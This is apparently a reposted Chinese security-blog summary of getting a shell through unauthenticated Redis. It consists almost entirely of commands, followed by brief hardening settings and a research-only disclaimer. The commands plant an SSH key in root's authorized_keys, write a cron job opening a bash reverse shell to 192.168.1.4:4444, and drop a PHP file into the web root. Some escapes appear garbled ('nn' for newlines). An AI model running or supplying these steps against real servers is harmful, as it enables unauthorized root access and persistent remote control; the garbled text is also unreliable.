redis-cli -h ip
> info
ssh-keygen –t rsa
(echo -e "nn"; cat /root/.ssh/id_rsa.pub; echo -e "nn") > wk.txt
cat wk.txt | redis-cli -h 192.168.1.11 -x set crackit
OK
$ $ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.11:6379> save
OK
ssh –i id_rsa [email protected]
cat wk.txt | redis-cli -h 192.168.1.11 -x set crackit
(error) READONLY You can't write against a read only slave.
config set slave-read-only no
config set dir /root/.ssh/
(error) ERR Changing directory: No such file or directory
config set dir /home/user/.ssh/
config set dir /root/.ssh/
(error) ERR Changing directory: Permission denied
redis-cli -h 192.168.1.8
set test "n* * * * * bash -i >& /dev/tcp/192.168.1.4/4444 0>&1n"
config set dir /var/spool/cron
config set dbfilename "root"
save
config set dir /var/www/html/
config set dbfilename shell.php
set cmd "<?php phpinfo(); ?>"
save
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
groupadd -r redis && useradd -r -g redis redis
requirepass mypassword
bind 127.0.0.1
https://mp.weixin.qq.com/s?__biz=Mzg5OTYxMjk0Mw==&mid=2247484550&idx=1&sn=ef0cd710fc188ab67e44354097230381
https://blog.csdn.net/sojrs_sec/article/details/100999908
https://www.cnblogs.com/morgan363/p/13719830.html
原文始发于微信公众号(Reset安全):Redis未授权访问getshell小结
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论